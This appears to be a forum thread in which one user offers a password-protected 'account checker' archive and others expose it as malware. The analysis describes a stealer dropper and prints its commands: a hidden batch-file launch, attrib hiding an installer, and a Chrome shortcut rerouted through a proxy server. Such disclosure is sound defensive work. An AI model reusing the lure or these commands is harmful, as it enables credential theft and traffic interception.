[isafe09]

I present a checker for obtaining accounts on the site [deleted] in the archive there are complete instructions and the checker itself, good luck to everyone!!!
link to archive

[deleted] : MALWARE

[xSe7eNx]

Your link gets flagged as fishing and malware. Click at your own risk guys. I wouldn't.

[Bastille]

Result of the analysis : Stealer

The link is a shorten URL that is related to a dropbox share. Retrieving the user account used for the share is not possible (or I'm not aware of any method for this).

The link conains a ZIP archive with a single .exe file and a password to avoid being scanned, no procedures nor instructions as decribed in user's post.




The file is identified as a Zennoposter.exe which is used to automate tasks and is flagged as malicious by many AV :
https://www.virustotal.com/gui/file/5da3.../relations



https://zennolab.com/en/products/zennoposter/


When executed nothing visually happens, however it acts as a dropper for many files :



Then it executes the main.bat file which then install a "Installer.exe" contained in the file_1.zip :
"C:\Windows\system32\cmd.exe" /c start /wait "" "C:\Users\<USER>\AppData\Local\Temp\main.bat"
C:\Windows\System32\attrib.exe attrib +H "Installer.exe"

The Zennoposter.exe drops the "Google Chrome.lnk" file with a specific argument to connect to a proxy server :
Target working directory > C:\Program Files\Google\Chrome\Application
Target relative path > ..\..\..\Program Files\Google\Chrome\Application\chrome.exe
Command line arguments > --proxy-server="217.XX.2.14:3333"

file_2.zip seems to be dedicated to Linux OS.
Bountree.exe doesn't seem to be executed.